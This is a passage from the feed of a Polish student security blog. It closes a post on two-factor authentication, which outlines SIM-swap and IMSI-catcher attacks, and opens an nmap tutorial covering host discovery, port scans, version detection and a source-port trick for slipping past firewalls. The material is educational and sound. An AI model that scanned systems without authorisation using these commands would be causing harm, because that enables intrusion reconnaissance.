&lt;p>Jest to urządzenie pozwalające przechwytywać komunikaty, którymi wymienia się telefon ze stacją. Przeprowadzając atak MITM (Man In The Middle), udaje prawdziwą stacje, do której klient będzie próbował się połączyć. Rozgłasza swoją obecność wokół i czeka na połączenia od ofiar (w uproszczeniu).&lt;/p>
&lt;p>Drugą, teoretycznie prostszą metodą do wykonania jest wyrobienie duplikatu karty SIM. Należy jednak wspomnieć, że operatorzy telekomunikacyjni są co raz bardziej na nią wyczuleni i podchodzą do takiej prośby z większą uwagą. Przestępca może podać się za ofiarę i wystąpić do operatora w celu otrzymania drugiej karty przypisanej do danego numeru.
W tym scenariuszu zakładamy, że atakujący ma już dostęp do konta bankowego ofiary. Gdy aktywuje on uzyskaną kartę na swoim telefonie, prawowity właściciel traci zasięg na swoim telefonie - w tym momencie ofiara nie jest w stanie korzystać ze swojej karty SIM. Od tej chwili to przestępca otrzymuje wszystkie połączenia i SMS, nieprzeznaczone dla niego. Mając dostęp do konta, zleca on przelew i otrzymuje kod poprzez SMS, po wpisaniu którego bank weryfikuje transakcję. Z tego powodu dostęp do np. konta bankowego powinien być potwierdzany za pomocą aplikacji.&lt;/p>
&lt;h2>Jakie serwisy i w jaki sposób wspierają 2FA&lt;span class="hx:absolute hx:-mt-20" id="jakie-serwisy-i-w-jaki-sposób-wspierają-2fa">&lt;/span>
&lt;a href="#jakie-serwisy-i-w-jaki-spos%c3%b3b-wspieraj%c4%85-2fa" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Dwuskładnikowe uwierzytelnianie sporo zyskało na popularności na przestrzeni ubiegłych lat. Dzisiaj brak jego implementacji na stronie jest oznaką nieprofesjonalnego podejścia do bezpieczeństwa danych użytkowników, gdyż uważa się to za standard. &lt;a href="https://twofactorauth.org"target="_blank" rel="noopener">Tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> możemy łatwo sprawdzić jakie metody 2FA oferują konkretne serwisy.&lt;/p>
&lt;h2>Menadżery haseł&lt;span class="hx:absolute hx:-mt-20" id="menadżery-haseł">&lt;/span>
&lt;a href="#menad%c5%bcery-hase%c5%82" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;figure class="align-center">
&lt;a href="./dropbox-pass.png">&lt;img loading="lazy" src="./dropbox-pass.png">&lt;/a>
&lt;figcaption>Materiał reklamowy usługi Dropbox Passwords. &lt;a href="https://www.theverge.com/2020/6/5/21281392/dropbox-passwords-manager-app-private-beta-android-play-store">[ŹRÓDŁO]&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Poza stosowaniem Two-factor authentication, możemy w szybki i łatwy sposób dodatkowo zwiększyć bezpieczeństwo naszych kont, korzystając z menadżerów haseł. Są to programy, zbierające wszystkie nasze dane logowania w jedno miejsce, do którego mamy dostęp poprzez hasło główne, dzięki czemu musimy pamiętać tylko je oraz możemy zachowywać ogólno przyjęte zalecenia co do długości, zawartości i unikalności haseł.&lt;/p>
&lt;p>Do najpopularniejszych obecnie rozwiązań należą &lt;a href="https://keepass.info/"target="_blank" rel="noopener">KeePass&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, &lt;a href="https://www.lastpass.com"target="_blank" rel="noopener">LastPass&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, &lt;a href="https://www.dashlane.com"target="_blank" rel="noopener">Dashlane&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> albo &lt;a href="https://1password.com"target="_blank" rel="noopener">1Password&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Dla tych już poważniej myślących polecam zrobić swój research, gdyż różnych opcji jest wiele i każda posiada swoje funkcjonalności. &lt;a href="https://www.safetydetectives.com/best-password-managers/"target="_blank" rel="noopener">Tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> coś na start Waszych poszukiwań.&lt;/p>
&lt;p>Takie rozwiązanie zwiększa bezpieczeństwo, gdyż nie korzystamy z tego samego hasła na wielu stronach. Problem wymyślania nowych danych logowania możemy zrzucić na narzędzie, które wygeneruje i zapisze bardzo długą (w końcu nie musimy się ograniczać) kombinację dużych/małych liter, cyfr i znaków specjalnych. Większość takich rozwiązań ma również wtyczki do przeglądarek, które automatycznie uzupełniają pola logowania.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Osobiście korzystam z kombinacji 2FA z kluczem bezpieczeństwa i wbudowanym menadżerem Apple Keychain, który po potwierdzeniu biometrycznym, automatycznie wpisuje hasło i pozwala przejść dalej. Dodatkowo, jeśli wybierzecie klucz marki Yubico, macie możliwość połączenia funkcjonalności klucza z aplikacją - kody zostaną wygenerowane tylko po jego interakcji z urządzeniem, dodając kolejną warstwę ochrony.&lt;/p>
&lt;p>Tak jak wcześniej wspomniałem najłatwiejszą na początek opcją jest rozwiązanie oparte na technologii TOTP. Działa ono offline oraz jest rozwiązaniem bezpieczniejszym w porównaniu do SMS. Osobiście polecam Authy, gdyż według mnie oferuje dużo wygodniejszą obsługę wielu urządzeń. W związku z tym kody mogą być generowane np. na komputerze lub na innej wspieranej platformie.&lt;/p></description></item><item><title>Kompendium wiedzy - nmap</title><link>https://whitehats.pwr.edu.pl/blog/2020-06-26-intro-nmap/</link><pubDate>Fri, 26 Jun 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-06-26-intro-nmap/</guid><description>
&lt;p>Jest to jedno z najpopularniejszych narzędzi wykorzystywanych do skanowania sieci. Poza wykrywaniem hostów, również dobrze spisuje się w wykrywaniu popularnych usług oraz systemów operacyjnych na jakich pracują skanowane maszyny. Narzędzie daje nam do wyboru wiele rodzajów skanowania, wybór zależy oczywiście od indywidualnego przypadku, w zależności czy bardziej zależy nam na czasie, czy jednak wolimy nie być &amp;ldquo;odrzuceni&amp;rdquo; przez zaporę. Dla miłośników okienek istnieje graficzna wersja Nmapa - &lt;a href="https://nmap.org/zenmap/"target="_blank" rel="noopener">Zenmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jeśli interesuje nas skanowanie większej sieci, a sam proces skanowania możemy uruchomić na kilku hostach jednocześnie to przydatny może okazać się tutaj &lt;a href="https://sourceforge.net/p/dnmap/wiki/Home/"target="_blank" rel="noopener">dnmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Nmapa możemy znaleźć na Kali Linux, jeśli jednak korzystamy z innego systemu operacyjnego (inna dystrybucja Linuxa, Mac OS, Windows) to nic nie stoi na przeszkodzie, aby i tu zainstalować to narzędzie. Dokładne instrukcje jak przeprowadzić ten proces znajdziemy &lt;a href="https://nmap.org/download.html"target="_blank" rel="noopener">na oficjalnej stronie narzędzia&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Należy pamiętać, że skanowanie urządzeń w sieci, bez zgody właściciela jest niezgodne z prawem. Do nauki najlepiej korzystać z lokalnego środowiska lub stron, które pozwalają na skanowanie, czasem po spełnieniu pewnych warunków np. &lt;a href="http://scanme.nmap.org/"target="_blank" rel="noopener">scanme.nmap.org&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Wykrywanie hostów w sieci&lt;span class="hx:absolute hx:-mt-20" id="wykrywanie-hostów-w-sieci">&lt;/span>
&lt;a href="#wykrywanie-host%c3%b3w-w-sieci" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Podstawowe użycie Nmapa wymaga od nas podania jedynie adresu, np.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>nmap 192.168.10.10&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure>
&lt;img loading="lazy" src="./nmap-command.png" alt="simple nmap command">
&lt;/figure>
&lt;p>Tutaj Nmap wykonuje skanowanie hostów, połączone z wykrywaniem dostępnych usług. Gdy chcemy ograniczyć się tylko do wykrycia aktywnych hostów, wystarczy przełącznik &lt;code>-sn&lt;/code>.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./option-sn.png" alt="simple nmap command">
&lt;/figure>
&lt;p>Istnieje też tzw. &lt;em>agressive mode&lt;/em>. W tym trybie wykrywane są hosty, porty, usługi i systemy operacyjne. Dodatkowo uruchamianych jest kilka skryptów Nmapa, należących do kategorii default.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">nmap -A 192.168.10.10
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Sposób wskazywania adresów&lt;span class="hx:absolute hx:-mt-20" id="sposób-wskazywania-adresów">&lt;/span>
&lt;a href="#spos%c3%b3b-wskazywania-adres%c3%b3w" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Listę adresów do przeskanowania możemy podać na kilka sposobów:&lt;/p>
&lt;ul>
&lt;li>&lt;code>nmap 192.168.10.10 192.168.10.11&lt;/code>&lt;/li>
&lt;li>&lt;code>nmap 192.168.10.1-10&lt;/code>&lt;/li>
&lt;li>&lt;code>nmap 192.168.10.0/24&lt;/code>&lt;/li>
&lt;li>&lt;code>nmap scanme.nmap.org&lt;/code>&lt;/li>
&lt;li>&lt;code>nmap -iL scan-ip.txt&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Ponad to możemy również wykluczyć pewne adresy (np gdy skanujemy całą podsieć):&lt;/p>
&lt;ul>
&lt;li>&lt;code>nmap 192.168.10.0/24 --exclude 192.168.10.5&lt;/code>&lt;/li>
&lt;li>&lt;code>nmap 192.168.10.0/24 --excludefile excluded-ip.txt&lt;/code>&lt;/li>
&lt;/ul>
&lt;h3>Techniki wykrywania hostów&lt;span class="hx:absolute hx:-mt-20" id="techniki-wykrywania-hostów">&lt;/span>
&lt;a href="#techniki-wykrywania-host%c3%b3w" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Domyślnie Nmap w celu zwiększenia skuteczności, korzysta z kilku metod skanowania hostów. Oczywiście my sami również możemy sprecyzować z jakich metod chcemy skorzystać. Oto najpopularniejsze z nich:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>ICMP, &lt;code>-PE&lt;/code>&lt;/p>
&lt;p>Metoda bazuje na wysłaniu komunikatów &lt;code>ICMP Echo Request&lt;/code>, powszechnie wykorzystywanych podczas diagnostyki sieci np. w poleceniu ping. Host, który otrzyma takie żądanie, musi na nie odpowiedzieć. W niektórych sieciach ze względów bezpieczeństwa te komunikaty mogą być zablokowane.&lt;/p>
&lt;p>Protokół ICMP jest stosowany głównie w celach kontrolnych. Odpowiednie komunikaty ICMP są wysyłane gdy TTL pakietu osiągnie 0 i pakiet musi zostać porzucony przez router. Protokół jest również wykorzystywany przez polecenie tracert/traceroute służące do uzyskania informacji, adresów IP urządzeń na trasie pakietu między hostami.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./pe.png" alt="icmp">
&lt;/figure>
&lt;blockquote>
&lt;p>Ósmy przechwycony pakiet jest odpowiedzią hosta na nasz wysłany pakiet ICMP Echo Request (pakiet 7), uzyskana odpowiedź wskazuje na nam, że dany host jest aktywny.&lt;/p>
&lt;/blockquote>
&lt;/li>
&lt;li>
&lt;p>ARP, &lt;code>-PR&lt;/code>&lt;/p>
&lt;p>Ten sposób opiera się na wysyłaniu komunikatów ARP Request, służących do ustalenia MAC urządzenia o podanym w zapytaniu adresie IP. Nmap domyślnie wykorzystuje to rozwiązanie, ze względu na fakt, że jest najszybszą i najbardziej skuteczną metodą wykrywania hostów w sieciach lokalnych. Jeśli na nasze zapytanie ARP otrzymamy odpowiedź to znaczy, że w sieci istnieje host o danym adresie IP. ARP może być użyty jedynie do skanowania sieci lokalnych, gdzie jest używany. Działanie tego protokołu jest niezbędne do zapewnienia poprawnej komunikacji w sieci lokalnej.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./arp-scan.png" alt="arp">
&lt;/figure>
&lt;blockquote>
&lt;p>W sieciach lokalnych do wykrywania aktywnych hostów domyślnie jest wykorzystywany protokół ARP, dlatego użycie przełącznika &lt;code>-PR&lt;/code> jest praktycznie zbędne. 51 przechwycony pakiet w Wiresharku jest odpowiedzią na rozgłoszenie ARP, które zawiera pakiet numer 50.&lt;/p>
&lt;/blockquote>
&lt;/li>
&lt;li>
&lt;p>TCP, &lt;code>-PS&lt;/code>, &lt;code>-PA&lt;/code>&lt;/p>
&lt;p>Tutaj korzystamy z procesu uzgadniania trójetapowego (3-way handshake), które ma miejsce podczas nawiązywania połączenia między hostami, wykorzystując połączeniowy protokół TCP.&lt;/p>
&lt;p>Przełącznik &lt;code>-PS&lt;/code> wysyła pakiet TCP z flagą SYN na wskazany port, domyślnie jest to port 80. Jeśli jakaś usługa nasłuchuje na danym porcie to odpowie nam flagami &lt;code>SYN/ACK&lt;/code>, czasami jeśli port nie może odebrać połączenia odpowie nam flagą &lt;code>RST&lt;/code>. Każda odpowiedź od hosta wskazuje nam, że jest on aktywny. Metoda sprawdza się dobrze gdy próbujemy skanować pod kątem serwerów udostępniających wybrane usługi. Jednak niekoniecznie dobrze działa podczas wykrywania hostów, które nie świadczą żadnych usług w sieci, w takim przypadku możemy nawet nie uzyskać odpowiedzi w postaci flagi &lt;code>RST&lt;/code>.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./ps.png" alt="ps">
&lt;/figure>
&lt;blockquote>
&lt;p>Na załączonym zrzucie ekranu można zaobserwować odpowiedź serwera(pakiet 14) na wysłany jako odpowiedź na próbę nawiązania połączenia(pakiet 12), która następnie jest zrywana, flagą RST(pakiet 15).&lt;/p>
&lt;/blockquote>
&lt;p>Dla przełączników PS, PA, PU można wskazywać listę portów. Przykładowo użycie przełącznika -PS20-23,53,80,443 skutkuje wysłaniem pakietu TCP z flagą SYN, na porty 20,21, 22, 23, 53, 80, 443.&lt;/p>
&lt;p>Wykorzystanie przełącznika &lt;code>-PA&lt;/code>, powoduje wysłanie pakietu TCP z flagą &lt;code>ACK&lt;/code>, która normalnie jest odpowiedzią na flagę &lt;code>SYN-ACK&lt;/code>. Tutaj pojawia się małe oszustwo z naszej strony, ponieważ nigdy nie inicjowaliśmy połączenia TCP. Skanowany host otrzymując potwierdzenie nawiązania połączenia z innym hostem, z którym nie nawiązywał wcześniej sesji, zazwyczaj przerywa/zrywa takie połączenie flagą resetu - &lt;code>RST&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>UDP, &lt;code>-PU&lt;/code>&lt;/p>
&lt;p>Ta metoda polega na wysłaniu pakietu UDP na dany port. Ze względu na fakt, że UDP jest protokołem bezpołączeniowym, to o braku dostępności danego portu poinformuje nas inny protokół - ICMP, a dokładnie ICMP Destination Unreachable.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./pu.png" alt="simple nmap command">
&lt;/figure>
&lt;blockquote>
&lt;p>Jak można zauważyć, po próbie nawiązania połączenia, odpowiedzią jest pakiet ICMP Destination Unreachable, który informuje nadawcę, że dany port jest nieosiągalny lub najprawdopodobniej żadna aplikacja na nim nie nasłuchuje i jest on zamknięty.&lt;/p>
&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;p>Jeśli chcemy przeanalizować w jaki sposób działają poszczególne techniki warto skorzystać z Wiresharka, popularnego sniffera, który pozwala nam na przechwytywanie i późniejsze analizowanie pakietów.&lt;/p>
&lt;p>Jeśli taką obserwację chcemy przeprowadzić w ramach sieci lokalnej to musimy pamiętać o dodaniu przełącznika &lt;code>--disable-arp-ping&lt;/code>. Dzieje się tak dlatego, że zazwyczaj wysyłanie zapytań ARP jest najszybszą i najskuteczniejszą metodą wykrywania hostów w sieciach lokalnych. W ramach sieci lokalnej Nmap domyślnie pomija inne opcje, które nie są aż tak skuteczne. Wskazany wyżej przełącznik wymusza mimo wszystko wykorzystanie innej metody wykrywania hostów. Często i tak sprowadza się to do wysłania zapytania ARP w celu uzyskania adresu MAC urządzenia o danym adresie IP, a później wysłania przykładowo TCP SYN, w przypadku użycia przełącznika -PS. Jednak jeśli ktoś woli przeprowadzać analizę pakietów w ramach sieci lokalnej to nic nie stoi na przeszkodzie, aby mimo wszystko ją przeprowadzić.&lt;/p>
&lt;p>Bez wyraźnego wskazania, z jakich metod wykrywania hostów chcemy skorzystać nmap, dla hostów zdalnych domyślnie wyśle ICMP Echo Request (5), TCP SYN na port 443 (6), TCP ACK na port 80 (7) i ICMP Timestamp (8), który nie został omówiony.&lt;/p>
&lt;figure>
&lt;img loading="lazy" src="./no-optionshost-scan.png" alt="normal-host-scan">
&lt;/figure>
&lt;p>Wiadomo, że numer portu źródłowego pakietu, generowanego przez Nmapa wybierany jest losowo z zakresu portów należących do grupy dynamic/private. Może się zdarzyć sytuacja, że ruch pochodzący od tego typu pakietów będzie filtrowany przez firewalla. Z pomocą może przyjść nam tutaj przełącznik &lt;code>--source-port&lt;/code>, który zmienia numer portu źródłowego na ten wskazany przez nas. Dobrym pomysłem może być tutaj użycie portu 53, na którym powszechnie uruchomiona jest usługa DNS.&lt;/p>
&lt;p>Jeśli chcemy podnieść naszą skuteczność w wykrywaniu hostów, dobrym rozwiązaniem jest połączenie kilku metod. Dosyć stary przegląd strategii wykrywania hostów możemy znaleźć &lt;a href="https://nmap.org/book/host-discovery-strategies.html"target="_blank" rel="noopener">w dokumentacji narzędzia&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://nmap.org/book/host-discovery-techniques.html"target="_blank" rel="noopener">Więcej o wykrywaniu hostów&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2>Wykrywanie otwartych portów i usług&lt;span class="hx:absolute hx:-mt-20" id="wykrywanie-otwartych-portów-i-usług">&lt;/span>
&lt;a href="#wykrywanie-otwartych-port%c3%b3w-i-us%c5%82ug" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wykrywanie otwartych portów to nic innego jak sprawdzanie w jakim stanie znajdują się poszczególne porty. Nmap wyróżnia 6 stanów, do których przyporządkowuje porty w zależności od wykorzystanej techniki i otrzymanej odpowiedzi. Najpopularniejsze stany:&lt;/p>
&lt;ul>
&lt;li>&lt;code>open&lt;/code> - port akceptuje datagramy UDP lub połączenia TCP, np. kontynuuje rozpoczęty 3-way handshake. Wskazuje również, że na tym porcie nasłuchuje jakaś usługa.&lt;/li>
&lt;li>&lt;code>closed&lt;/code> - port odpowiada na pakiety, jednak żadna aplikacja nie nasłuchuje na tym porcie&lt;/li>
&lt;li>&lt;code>filtered&lt;/code> - narzędzie nie jest w stanie określić czy port jest otwarty. Zazwyczaj jest to spowodowane fitrowaniem ruchu na poziomie firewalla&lt;/li>
&lt;/ul>
&lt;p>Wyróżniamy jeszcze stany takie jak:&lt;/p>
&lt;ul>
&lt;li>&lt;code>unfiltered&lt;/code>&lt;/li>
&lt;li>&lt;code>open|filtered&lt;/code>&lt;/li>
&lt;li>&lt;code>closed|filtered&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>W przypadku otrzymania 3 powyższych stanów, zaleca się wykonać ponowny skan wykorzystujący inną metodę wykrywania otwartych portów, w celu uzyskania lepszych rezultatów. Podrzucam link do ciekawego &lt;a href="https://www.hackingarticles.in/comprehensive-guide-on-nmap-port-status/"target="_blank" rel="noopener">artykułu opisującego stany portów&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Do określenia stanu portu Nmap wykorzystuje rozmaite techniki, których dokładniejszy opis mógłby być tematem osobnego artykułu. Ograniczę się do wymienienia i krótkiego opisu kilku z nich:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>TCP SYN, &lt;code>-sS&lt;/code> - polega na wysłaniu pakietu TCP z ustawioną flagą SYN, na podstawie odpowiedzi serwera narzędzie przypisuje odpowiedni stan dla testowanego portu.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>TCP ACK, &lt;code>-sA&lt;/code> - wysyłamy pakiet TCP z flagą ACK, podobnie jak w przypadku przełącznika &lt;code>-PA&lt;/code>. Ta metoda może służyć do określenia typu firewalla, który może znajdować się w sieci. Zazwyczaj na firewallu blokowana jest możliwość nawiązywania połączeń rozpoczynanych przez hosty pochodzące z Internetu (czyli przychodzących pakietów TCP SYN). Problem zaczyna się gdy, do naszej sieci przychodzi pakiet TCP z ustawioną flagą ACK. Bezstanowy firewall(stateless firewall) nie ma możliwości ocenienia czy dany pakiet jest częścią nawiązanego wcześniej połączenia czy nie. Sytuacja wygląda inaczej w przypadku stanowego firewallu, który nie będzie miał problemu z określeniem, że przychodzący pakiet nie jest częścią żadnego ustanowionego wcześniej połączenia. Z tego też względu stanowy firewall wykorzystuje do swojej pracy znacznie więcej zasobów.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>TCP Connect, &lt;code>-sT&lt;/code> - metoda polegająca na nawiązaniu zwykłego połączenia, wykonaniu całej procedury 3-way handshake, a następnie zerwaniu nawiązanego połączenia&lt;/p>
&lt;/li>
&lt;li>
&lt;p>UDP, &lt;code>-sU&lt;/code> - wykorzystywane do wykrywania portów, na których aplikacje nasłuchują pakietów UDP. Ta metoda skanowania jest znacznie dłuższa niż skanowanie pod kątem portów TCP.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Domyślnie narzędzie skanuje 1000 najpopularniejszych portów. Możemy również jawnie wskazać, które porty trzeba przeskanować za pomocą przełącznika &lt;code>-p&lt;/code>.&lt;/p>
&lt;ul>
&lt;li>&lt;code>-p 22&lt;/code> - pojedynczy port&lt;/li>
&lt;li>&lt;code>-p 20-22&lt;/code> - zakres portów&lt;/li>
&lt;li>&lt;code>-p 22,23,80&lt;/code>&lt;/li>
&lt;li>&lt;code>-p 20-25,80&lt;/code>&lt;/li>
&lt;li>&lt;code>-p-&lt;/code> - wszystkie porty&lt;/li>
&lt;/ul>
&lt;figure>
&lt;img loading="lazy" src="./port-scan.png" alt="port scan">
&lt;/figure>
&lt;p>Gdy Nmap określi, że dany port jest otwarty, podejmuje próbę &amp;ldquo;zgadnięcia&amp;rdquo; nazwy danej usługi, porównując ją z portem. Odwzorowanie port-usługa znajduje się w pliku &lt;code>/usr/share/nmap/nmap-services&lt;/code>. Możemy pójść krok dalej i spróbować określić wersję danej usługi. W tym przypadku Nmap porównuje pewne uzyskane dane np. banner(sposób przedstawiania się usługi) z próbkami w pliku &lt;code>/usr/share/nmap/services-probes&lt;/code>. Za pomocą przełącznika &lt;code>-sV&lt;/code> narzędzie próbuje jeszcze wykryć wersję usługi.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>nmap -sV 192.168.10.10&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
